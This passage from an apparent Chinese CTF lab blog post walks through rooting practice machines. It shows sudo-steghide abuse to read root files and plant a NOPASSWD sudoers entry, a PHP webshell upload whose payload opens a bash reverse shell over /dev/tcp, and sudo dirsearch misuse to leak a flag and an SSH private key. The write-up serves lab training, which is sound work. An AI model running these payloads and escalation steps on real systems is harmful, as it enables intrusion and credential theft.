class=\"wp-block-heading\">1<\/h4>\n\n\n\n<p>\u76f4\u63a5\u5305\u542broot.txt<\/p>\n\n\n\n<p>\u9996\u5148\u4f7f\u7528py\u6253\u5f00\u7aef\u53e3\u53bb\u8fdc\u7a0b\u6587\u4ef6\u5305\u542b\uff0c\u7136\u540e\u4e0a\u4f20\u4e00\u4e2a\u56fe\u7247<\/p>\n\n\n\n<p>kali\u672c\u5730<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">python3 -m http.server 8000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br>Serving HTTP on 0.0.0.0 port 8000 (http:\/\/0.0.0.0:8000\/) ...<br>10.247.102.83 - - [08\/Dec\/2025 23:18:37] \"GET \/A033.jpg HTTP\/1.1\" 200 -<br>----------------------------------------<\/pre>\n\n\n\n<p>shell<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">lingmj@Mao:\/$ cd \/tmp<br>lingmj@Mao:\/tmp$ busybox wget http:\/\/10.247.102.219:8000\/A033.jpg<br>Connecting to 10.247.102.219:8000 (10.247.102.219:8000)<br>A033.jpg &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 100% |*****************************| 1604k  0:00:00 ETA<br>lingmj@Mao:\/tmp$ <\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">lingmj@Mao:\/tmp$ sudo \/usr\/bin\/steghide embed -ef \/root\/root.txt -cf .\/1.jpg<br>Enter passphrase: <br>Re-Enter passphrase: <br>embedding \"\/root\/root.txt\" in \".\/1.jpg\"... done<br>lingmj@Mao:\/tmp$ \/usr\/bin\/steghide extract -sf .\/1.jpg<br>Enter passphrase: <br>wrote extracted data to \"root.txt\".<br>lingmj@Mao:\/tmp$ ls<br>1.jpg<br>A033.jpg<br>root.txt<br>systemd-private-72a297aad5464f55b8ddd654e80c77f5-apache2.service-YKV5Xf<br>systemd-private-72a297aad5464f55b8ddd654e80c77f5-systemd-logind.service-6NtfCg<br>systemd-private-72a297aad5464f55b8ddd654e80c77f5-systemd-timesyncd.service-e9oD1f<br>lingmj@Mao:\/tmp$ cat root.txt<br>flag{root-5ad6f10629504ec51038b8c14a1fb9c6}<br>lingmj@Mao:\/tmp$ <br>\u62ff\u4e0broot<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">2<\/h4>\n\n\n\n<p>\u4e3alingmj\u8d4b\u4e88\u65e0\u5bc6\u7801\u6267\u884c\u5b8c\u6574sudo\u7684\u6743\u9650(\u8fd9\u4e2a\u65b9\u6848\u662f\u8001\u5927\u63d0\u4f9b\u7684)<\/p>\n\n\n\n<p>\u521b\u5efa\u4e00\u4e2a\u6076\u610f\u7684sudoers\u6587\u4ef6\uff0c\u8fd9\u4e2a\u5185\u5bb9\u662f\u8d4b\u4e88lingmj\u65e0\u5bc6\u7801\u6267\u884c\u6240\u6709sudo\u547d\u4ee4\u7684\u6743\u9650<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">echo 'lingmj ALL=(ALL:ALL) NOPASSWD:ALL' &gt; a<\/pre>\n\n\n\n<p>\u901a\u8fc7\u9690\u5199\uff0c\u653e\u5230\/etc\/sudoers.d\u7279\u6743\u76ee\u5f55\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">lingmj@Mao:\/tmp$ echo 'lingmj ALL=(ALL:ALL) NOPASSWD:ALL' &gt; a<br>lingmj@Mao:\/tmp$ ls<br>1.jpg<br>a<br>A033.jpg<br>root.txt<br>systemd-private-72a297aad5464f55b8ddd654e80c77f5-apache2.service-YKV5Xf<br>systemd-private-72a297aad5464f55b8ddd654e80c77f5-systemd-logind.service-6NtfCg<br>systemd-private-72a297aad5464f55b8ddd654e80c77f5-systemd-timesyncd.service-e9oD1f<br>lingmj@Mao:\/tmp$ steghide embed -cf 1.jpg -ef a<br>Enter passphrase: <br>Re-Enter passphrase: <br>embedding \"a\" in \"1.jpg\"... done<br>lingmj@Mao:\/tmp$ cd \/etc\/sudoers.d<br>lingmj@Mao:\/etc\/sudoers.d$ \/etc\/sudoers.d$ ls -al<br>-bash: \/etc\/sudoers.d$: No such file or directory<br>lingmj@Mao:\/etc\/sudoers.d$ ls -al<br>total 12<br>drwxr-xr-x  2 root root 4096 Apr  4  2025 .<br>drwxr-xr-x 82 root root 4096 Dec  8 09:52 ..<br>-r--r-----  1 root root  958 Jan 14  2023 README<br>lingmj@Mao:\/etc\/sudoers.d$ sudo steghide extract -sf \/tmp\/1.jpg<br>Enter passphrase: <br>wrote extracted data to \"a\".<br>lingmj@Mao:\/etc\/sudoers.d$ ls -al<br>total 16<br>drwxr-xr-x  2 root root 4096 Dec  8 10:36 .<br>drwxr-xr-x 82 root root 4096 Dec  8 09:52 ..<br>-rw-r--r--  1 root root &nbsp; 34 Dec  8 10:36 a<br>-r--r-----  1 root root  958 Jan 14  2023 README<br>lingmj@Mao:\/etc\/sudoers.d$ cat a<br>lingmj ALL=(ALL:ALL) NOPASSWD:ALL<br>lingmj@Mao:\/etc\/sudoers.d$ sudo -l<br>Matching Defaults entries for lingmj on Mao:<br> &nbsp;  env_reset, mail_badpass,<br> &nbsp;  secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin<br>\u200b<br>User lingmj may run the following commands on Mao:<br> &nbsp;  (ALL) NOPASSWD: \/usr\/bin\/steghide<br> &nbsp;  (ALL : ALL) NOPASSWD: ALL<br>lingmj@Mao:\/etc\/sudoers.d$ id<br>uid=1000(lingmj) gid=1000(lingmj) groups=1000(lingmj)<br>lingmj@Mao:\/etc\/sudoers.d$ sudo -i<br>root@Mao:~# id<br>uid=0(root) gid=0(root) groups=0(root)<\/pre>\n\n\n\n<ol class=\"wp-block-list\">\n<li><code>lingmj@Mao:~$ steghide embed -cf 1.jpg -ef a<\/code>\u4f7f\u7528 steghide \u5de5\u5177\u5c06\u6587\u4ef6<code>a<\/code>\uff08\u5f85\u9690\u85cf\u7684\u6587\u4ef6\uff09\u5d4c\u5165\u5230\u8f7d\u4f53\u56fe\u7247<code>1.jpg<\/code>\u4e2d\uff0c\u6267\u884c\u9690\u5199\u64cd\u4f5c\u3002<\/li>\n\n\n\n<li><code>Enter passphrase:<\/code>\u63d0\u793a\u8f93\u5165\u5bc6\u7801\uff08\u7528\u4e8e\u52a0\u5bc6\u9690\u85cf\u7684\u6587\u4ef6<code>a<\/code>\uff0c\u540e\u7eed\u63d0\u53d6\u65f6\u9700\u8f93\u5165\u76f8\u540c\u5bc6\u7801\uff09\u3002<\/li>\n\n\n\n<li><code>Re-Enter passphrase:<\/code>\u518d\u6b21\u8f93\u5165\u5bc6\u7801\u786e\u8ba4\uff08\u786e\u4fdd\u4e24\u6b21\u8f93\u5165\u4e00\u81f4\uff09\u3002<\/li>\n\n\n\n<li><code>embedding \"a\" in \"1.jpg\"... done<\/code>\u64cd\u4f5c\u5b8c\u6210\u63d0\u793a\uff1a\u6587\u4ef6<code>a<\/code>\u5df2\u6210\u529f\u5d4c\u5165\u5230<code>1.jpg<\/code>\u4e2d\u3002<\/li>\n\n\n\n<li><code>lingmj@Mao:~$ cd \/etc\/sudoers.d<\/code>\u5207\u6362\u5230<code>\/etc\/sudoers.d<\/code>\u76ee\u5f55\uff08\u8be5\u76ee\u5f55\u7528\u4e8e\u5b58\u653e sudo \u6743\u9650\u914d\u7f6e\u6587\u4ef6\uff0c\u53ea\u6709 root \u7528\u6237\u6709\u5199\u5165\u6743\u9650\uff09\u3002<\/li>\n\n\n\n<li><code>lingmj@Mao:\/etc\/sudoers.d$ ls -al<\/code>\u5217\u51fa\u5f53\u524d\u76ee\u5f55\u4e0b\u7684\u6240\u6709\u6587\u4ef6\uff08\u5305\u62ec\u9690\u85cf\u6587\u4ef6\uff09\u53ca\u8be6\u7ec6\u6743\u9650\u4fe1\u606f\uff0c\u6b64\u65f6\u76ee\u5f55\u4e2d\u53ea\u6709<code>README<\/code>\u6587\u4ef6\u3002<\/li>\n\n\n\n<li><code>lingmj@Mao:\/etc\/sudoers.d$ sudo steghide extract -sf ~\/1.jpg<\/code>\u4f7f\u7528 root \u6743\u9650\uff08<code>sudo<\/code>\uff09\u4ece<code>~\/1.jpg<\/code>\uff08\u4e4b\u524d\u5d4c\u5165\u4e86\u6587\u4ef6<code>a<\/code>\u7684\u56fe\u7247\uff09\u4e2d\u63d0\u53d6\u9690\u85cf\u7684\u6587\u4ef6\uff0c<code>-sf<\/code>\u6307\u5b9a\u8f7d\u4f53\u6587\u4ef6\u8def\u5f84\u3002<\/li>\n\n\n\n<li><code>Enter passphrase:<\/code>\u63d0\u793a\u8f93\u5165\u5d4c\u5165\u65f6\u8bbe\u7f6e\u7684\u5bc6\u7801\uff08\u7528\u4e8e\u89e3\u5bc6\u5e76\u63d0\u53d6\u6587\u4ef6<code>a<\/code>\uff09\u3002<\/li>\n\n\n\n<li><code>wrote extracted data to \"a\".<\/code>\u63d0\u53d6\u5b8c\u6210\u63d0\u793a\uff1a\u9690\u85cf\u7684\u6587\u4ef6<code>a<\/code>\u5df2\u6210\u529f\u63d0\u53d6\u5230\u5f53\u524d\u76ee\u5f55\uff08<code>\/etc\/sudoers.d<\/code>\uff09\u3002<\/li>\n\n\n\n<li><code>lingmj@Mao:\/etc\/sudoers.d$ ls -al<\/code>\u518d\u6b21\u67e5\u770b\u76ee\u5f55\u6587\u4ef6\uff0c\u6b64\u65f6\u65b0\u589e\u4e86\u63d0\u53d6\u51fa\u7684<code>a<\/code>\u6587\u4ef6\uff08\u6743\u9650\u4e3a<code>-rw-r--r--<\/code>\uff0c\u7531 root \u521b\u5efa\uff09\u3002<\/li>\n\n\n\n<li><code>lingmj@Mao:\/etc\/sudoers.d$ cat a<\/code>\u67e5\u770b\u6587\u4ef6<code>a<\/code>\u7684\u5185\u5bb9\uff0c\u663e\u793a\u4e3a<code>sudo<\/code>\u6743\u9650\u914d\u7f6e\u89c4\u5219\uff1a\u5141\u8bb8\u7528\u6237<code>lingmj<\/code>\u65e0\u9700\u5bc6\u7801\u6267\u884c\u6240\u6709\u547d\u4ee4\u3002<\/li>\n\n\n\n<li><code>lingmj@Mao:\/etc\/sudoers.d$ sudo -l<\/code>\u9a8c\u8bc1\u5f53\u524d\u7528\u6237<code>lingmj<\/code>\u7684<code>sudo<\/code>\u6743\u9650\uff0c\u8f93\u51fa\u663e\u793a\u5176\u88ab\u5141\u8bb8\u65e0\u9700\u5bc6\u7801\u4f7f\u7528<code>\/usr\/bin\/steghide<\/code>\u547d\u4ee4\uff08\u7b26\u5408\u6587\u4ef6<code>a<\/code>\u4e2d\u7684\u914d\u7f6e\uff09\u3002<\/li>\n<\/ol>\n\n\n\n<p>\u6574\u4e2a\u6d41\u7a0b\u7684\u6838\u5fc3\u662f\uff1a\u901a\u8fc7\u9690\u5199\u672f\u5c06<code>sudo<\/code>\u6743\u9650\u914d\u7f6e\u6587\u4ef6<code>a<\/code>\u9690\u85cf\u5728\u56fe\u7247\u4e2d\uff0c\u518d\u63d0\u53d6\u5230<code>\/etc\/sudoers.d<\/code>\u76ee\u5f55\uff0c\u5b9e\u73b0\u5bf9\u7528\u6237\u6743\u9650\u7684\u914d\u7f6e\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">3<\/h4>\n\n\n\n<p>111\u5927\u4f6c\u7684<\/p>\n\n\n\n<p>\u4e4b\u540e\u518d\u8865\u5427\uff0c\u5509<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u9776\u673a\u590d\u73b0-Search<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">user<\/h3>\n\n\n\n<p>\u6253\u5f00\u9776\u673a \u4e09\u4ef6\u5957 nmap,dirsearch gobuster dir<\/p>\n\n\n\n<p>nmap\u51fa\u676522\u548c80\u7aef\u53e3<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">gobuster dir -u http:\/\/10.247.102.224 -w \/usr\/share\/wordlists\/dirb\/common.txt<br>===============================================================<br>Gobuster v3.8<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; http:\/\/10.247.102.224<br>[+] Method: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  GET<br>[+] Threads: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 10<br>[+] Wordlist: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \/usr\/share\/wordlists\/dirb\/common.txt<br>[+] Negative Status codes: &nbsp; 404<br>[+] User Agent: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  gobuster\/3.8<br>[+] Timeout: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>\/.hta &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (Status: 403) [Size: 279]<br>\/.htaccess &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  (Status: 403) [Size: 279]<br>\/.htpasswd &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  (Status: 403) [Size: 279]<br>\/admin &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  (Status: 301) [Size: 316] [--&gt; http:\/\/10.247.102.224\/admin\/] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br>\/api &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  (Status: 301) [Size: 314] [--&gt; http:\/\/10.247.102.224\/api\/] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br>\/assets &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (Status: 301) [Size: 317] [--&gt; http:\/\/10.247.102.224\/assets\/] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br>\/favicon.ico &nbsp; &nbsp; &nbsp; &nbsp;  (Status: 200) [Size: 4286]<br>\/index &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  (Status: 200) [Size: 80683]<br>\/index.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  (Status: 200) [Size: 80676]<br>\/Java &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (Status: 200) [Size: 64546]<br>\/javascript &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (Status: 200) [Size: 62969]<br>\/java &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (Status: 200) [Size: 64546]<br>\/php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  (Status: 200) [Size: 58255]<br>\/PHP &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  (Status: 200) [Size: 58255]<br>\/robots.txt &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (Status: 200) [Size: 25]<br>\/server-status &nbsp; &nbsp; &nbsp;  (Status: 403) [Size: 279]<br>\/static &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (Status: 301) [Size: 317] [--&gt; http:\/\/10.247.102.224\/static\/] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br>\/uploads &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  (Status: 301) [Size: 318] [--&gt; http:\/\/10.247.102.224\/uploads\/] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br>Progress: 4613 \/ 4613 (100.00%)<br>===============================================================<br>Finished<\/pre>\n\n\n\n<p>dirsearch\u5c31\u4e0d\u5c55\u793a\u4e86<\/p>\n\n\n\n<p>\u53d1\u73b0setup.txt\u91cc\u9762\u5b58\u5728\u8d26\u53f7\u548c\u5bc6\u7801\uff0c\u767b\u5f55\u4e4b\u540e\u662ffeehi cms\uff0c\u4fe1\u606f\u641c\u96c6\u4e00\u4e0b\u53d1\u73b0\u53ef\u80fd\u5b58\u5728\u7684\u6f0f\u6d1e<\/p>\n\n\n\n<p>\u53d1\u73b0\u5728\u5e7f\u544a\u7ba1\u7406\u91cc\u9762\u5b58\u5728\u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e\uff0c\u76f4\u63a5\u63d2\u5165webshell\u901a\u8fc7\u53cd\u5f39shell\u8fdb\u5165\u5185\u7f51<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">------WebKitFormBoundaryAqHilH6RnHBZLCys<br><br>Content-Disposition: form-data; name=\"AdForm[ad]\"; filename=\"A033.php\"<br><br>Content-Type: image\/jpeg<br>&lt;?php<br>exec(\"\/bin\/bash -c'bash -i &gt;&amp; \/dev\/tcp\/kali\/7777 0&gt;&amp;1'\");?&gt;<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">www-data@Search:\/home$ sudo -l<br>sudo -l<br>Matching Defaults entries for www-data on Search:<br>    env_reset, mail_badpass,<br>    secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin<br><br>User www-data may run the following commands on Search:<br>    (7r1umphk) NOPASSWD: \/usr\/local\/bin\/dirsearch<br>www-data@Search:\/home$ <\/pre>\n\n\n\n<p>\u53cd\u5f39\u6210\u529f<\/p>\n\n\n\n<p>\u7136\u540esudo -l \u770b\u4e00\u4e0b\u600e\u4e48\u53bb\u63d0\u6743\uff0c\u53d1\u73b0\u662fdirsearch\u8fd9\u4e2a\u626b\u63cf\u5de5\u5177<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">ww-data@Search:\/tmp$ sudo -u 7r1umphk dirsearch -u http:\/\/127.0.0.1<br>sudo -u 7r1umphk dirsearch -u http:\/\/127.0.0.1<br><br>  _|. _ _  _  _  _ _|_    v0.4.3.post1<br> (_||| _) (\/_(_|| (_| )<br><br>Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25<br>Wordlist size: 11460<br><br>Output File: \/tmp\/reports\/http_127.0.0.1\/_25-12-09_08-44-56.txt<br><br>Target: http:\/\/127.0.0.1\/<br><br>[08:44:56] Starting: <br>[                    ]  0%<br>\u6ca1\u5565\u7279\u522b\u7684<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\/usr\/local\/bin\/dirsearch -h<br>Usage: dirsearch [-u|--url] target [-e|--extensions] extensions [options]<br><br>Options:<br>  --version             show program's version number and exit<br>  -h, --help            show this help message and exit<br><br>  Mandatory:<br>    -u URL, --url=URL   Target URL(s), can use multiple flags<br>    -l PATH, --url-file=PATH<br>                        URL list file<br>    --stdin             Read URL(s) from STDIN<br>    --cidr=CIDR         Target CIDR<br>    --raw=PATH          Load raw HTTP request from file (use `--scheme` flag<br>                        to set the scheme)<br>    -s SESSION_FILE, --session=SESSION_FILE<br>                        Session file<br>    --config=PATH       Full path to config file, see 'config.ini' for example<br>                        (Default: config.ini)<br><br>  Dictionary Settings:<br>    -w WORDLISTS, --wordlists=WORDLISTS<br>                        Customize wordlists (separated by commas)<br>    -e EXTENSIONS, --extensions=EXTENSIONS<br>                        Extension list separated by commas (e.g. php,asp)<br>    -f, --force-extensions<br>                        Add extensions to the end of every wordlist entry. By<br>                        default dirsearch only replaces the %EXT% keyword with<br>                        extensions<br>    -O, --overwrite-extensions<br>                        Overwrite other extensions in the wordlist with your<br>                        extensions (selected via `-e`)<br>    --exclude-extensions=EXTENSIONS<br>                        Exclude extension list separated by commas (e.g.<br>                        asp,jsp)<br>    --remove-extensions<br>                        Remove extensions in all paths (e.g. admin.php -&gt;<br>                        admin)<br>    --prefixes=PREFIXES<br>                        Add custom prefixes to all wordlist entries (separated<br>                        by commas)<br>    --suffixes=SUFFIXES<br>                        Add custom suffixes to all wordlist entries, ignore<br>                        directories (separated by commas)<br>    -U, --uppercase     Uppercase wordlist<br>    -L, --lowercase     Lowercase wordlist<br>    -C, --capital       Capital wordlist<br><br>  General Settings:<br>    -t THREADS, --threads=THREADS<br>                        Number of threads<br>    -r, --recursive     Brute-force recursively<br>    --deep-recursive    Perform recursive scan on every directory depth (e.g.<br>                        api\/users -&gt; api\/)<br>    --force-recursive   Do recursive brute-force for every found path, not<br>                        only directories<br>    -R DEPTH, --max-recursion-depth=DEPTH<br>                        Maximum recursion depth<br>    --recursion-status=CODES<br>                        Valid status codes to perform recursive scan, support<br>                        ranges (separated by commas)<br>    --subdirs=SUBDIRS   Scan sub-directories of the given URL[s] (separated by<br>                        commas)<br>    --exclude-subdirs=SUBDIRS<br>                        Exclude the following subdirectories during recursive<br>                        scan (separated by commas)<br>    -i CODES, --include-status=CODES<br>                        Include status codes, separated by commas, support<br>                        ranges (e.g. 200,300-399)<br>    -x CODES, --exclude-status=CODES<br>                        Exclude status codes, separated by commas, support<br>                        ranges (e.g. 301,500-599)<br>    --exclude-sizes=SIZES<br>                        Exclude responses by sizes, separated by commas (e.g.<br>                        0B,4KB)<br>    --exclude-text=TEXTS<br>                        Exclude responses by text, can use multiple flags<br>    --exclude-regex=REGEX<br>                        Exclude responses by regular expression<br>    --exclude-redirect=STRING<br>                        Exclude responses if this regex (or text) matches<br>                        redirect URL (e.g. '\/index.html')<br>    --exclude-response=PATH<br>                        Exclude responses similar to response of this page,<br>                        path as input (e.g. 404.html)<br>    --skip-on-status=CODES<br>                        Skip target whenever hit one of these status codes,<br>                        separated by commas, support ranges<br>    --min-response-size=LENGTH<br>                        Minimum response length<br>    --max-response-size=LENGTH<br>                        Maximum response length<br>    --max-time=SECONDS  Maximum runtime for the scan<br>    --exit-on-error     Exit whenever an error occurs<br><br>  Request Settings:<br>    -m METHOD, --http-method=METHOD<br>                        HTTP method (default: GET)<br>    -d DATA, --data=DATA<br>                        HTTP request data<br>    --data-file=PATH    File contains HTTP request data<br>    -H HEADERS, --header=HEADERS<br>                        HTTP request header, can use multiple flags<br>    --header-file=PATH  File contains HTTP request headers<br>    -F, --follow-redirects<br>                        Follow HTTP redirects<br>    --random-agent      Choose a random User-Agent for each request<br>    --auth=CREDENTIAL   Authentication credential (e.g. user:password or<br>                        bearer token)<br>    --auth-type=TYPE    Authentication type (basic, digest, bearer, ntlm, jwt,<br>                        oauth2)<br>    --cert-file=PATH    File contains client-side certificate<br>    --key-file=PATH     File contains client-side certificate private key<br>                        (unencrypted)<br>    --user-agent=USER_AGENT<br>    --cookie=COOKIE     <br><br>  Connection Settings:<br>    --timeout=TIMEOUT   Connection timeout<br>    --delay=DELAY       Delay between requests<br>    --proxy=PROXY       Proxy URL (HTTP\/SOCKS), can use multiple flags<br>    --proxy-file=PATH   File contains proxy servers<br>    --proxy-auth=CREDENTIAL<br>                        Proxy authentication credential<br>    --replay-proxy=PROXY<br>                        Proxy to replay with found paths<br>    --tor               Use Tor network as proxy<br>    --scheme=SCHEME     Scheme for raw request or if there is no scheme in the<br>                        URL (Default: auto-detect)<br>    --max-rate=RATE     Max requests per second<br>    --retries=RETRIES   Number of retries for failed requests<br>    --ip=IP             Server IP address<br><br>  Advanced Settings:<br>    --crawl             Crawl for new paths in responses<br><br>  View Settings:<br>    --full-url          Full URLs in the output (enabled automatically in<br>                        quiet mode)<br>    --redirects-history<br>                        Show redirects history<br>    --no-color          No colored output<br>    -q, --quiet-mode    Quiet mode<br><br>  Output Settings:<br>    -o PATH, --output=PATH<br>                        Output file<br>    --format=FORMAT     Report format (Available: simple, plain, json, xml,<br>                        md, csv, html, sqlite)<br>    --log=PATH          Log file<br>www-data@Search:\/tmp$ <\/pre>\n\n\n\n<p>\u67e5\u770b\u5e2e\u52a9<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">--log=PATH \u662f\u547d\u4ee4\u884c\u5de5\u5177\u4e2d\u5e38\u89c1\u7684\u53c2\u6570\uff0c\u4f5c\u7528\u662f\u5c06\u5de5\u5177\u8fd0\u884c\u8fc7\u7a0b\u4e2d\u7684\u65e5\u5fd7\u4fe1\u606f\uff08\u64cd\u4f5c\u8bb0\u5f55\u3001\u72b6\u6001\u3001\u9519\u8bef\u7b49\uff09\u4fdd\u5b58\u5230\u6307\u5b9a\u8def\u5f84\uff08PATH\uff09\u7684\u6587\u4ef6\u4e2d<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">sudo -u 7r1umphk dirsearch -u http:\/\/127.0.0.1 -w \/home\/7r1umphk\/user.txt --log=\/tmp\/1.txt<\/pre>\n\n\n\n<p>\u5148\u5229\u7528\u5176\u9ad8\u6743\u9650\u77ed\u6682\u7684\u5207\u6362\u7528\u6237\uff0c\u7136\u540e\u5229\u7528 wordlist \u53c2\u6570\u4f20\u5165\u6587\u4ef6\u8def\u5f84\uff0c\u89e6\u53d1\u62a5\u9519\u6cc4\u9732\u6587\u4ef6\u5185\u5bb9\uff0c\u901a\u8fc7\u62a5\u9519\u83b7\u5f97user.txt\u91cc\u9762\u7684\u5185\u5bb9<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">2025-12-09 08:55:13,129 [INFO] \"GET http:\/\/127.0.0.1\/flag{user-681db772f6844d4c84da083c3d280954}\" 404 - 33003B<br>www-data@Search:\/tmp$ \u62ff\u4e0buser<\/pre>\n\n\n\n<p>\u53ef\u4ee5\u53bb\u62ffuser.txt\uff0c\u770b\u770b\u80fd\u4e0d\u80fd\u53bb\u62ff\u4e0b\u5bc6\u94a5\uff0c\u5e94\u8be5\u662f\u53ef\u4ee5\u7684<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">sudo -u 7r1umphk \/usr\/local\/bin\/dirsearch -l \/home\/7r1umphk\/.ssh\/id_ed25519<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">root<\/h3>\n\n\n\n<h2 class=\"wp-block-heading\">\u9776\u673a\u590d\u73b0-lzh<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">user<\/h3>\n\n\n\n<p>\u6253\u5f00\u9776\u673anamp\u626b\u63cf\uff0c\u7136\u540edir\u6216\u8005gobuster dir\u53bb\u626b\u63cf<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u7aef\u53e3\u662f22\u548c80<br>\u540e\u53f0\u51fa\u6765\u662fbackup.zip<\/pre>\n\n\n\n<p>\u53d1\u73b0\u51fa\u6765\u4e00\u4e2a\u662f\u5173\u4e8e\u8fd9\u4e2a\u7684mozilo\u6846\u67b6<\/p>\n\n\n\n<p>\u7136\u540e\u5c31\u641c\u4e00\u4e0b\u4ed6\u7684\u7248\u672c\u53f7\u4ee5\u53ca\u770b\u770b\u6709\u6ca1\u6709\u5386\u53f2\u6f0f\u6d1e\uff0c\u53d1\u73b0<a href=\"https:\/\/www.exploit-db.com\/exploits\/52096\">MoziloCMS 3.0 &#8211; Remote Code Execution (RCE) &#8211; PHP webapps Exploit<\/a><\/p>\n\n\n\n<p>\u7b80\u5355\u6765\u8bf4\u5c31\u662f\u901a\u8fc7\u8fdb\u5165\u5185\u90e8\u53bb\u6587\u4ef6\u4e0a\u4f20\uff0c\u53bb\u6267\u884cphp\u4ee3\u7801<\/p>\n\n\n\n<p>\u901a\u8fc7\u53bb\u7206\u7834\u7528\u6237user\u548c\u5bc6\u7801<\/p>\n\n\n\n<pre 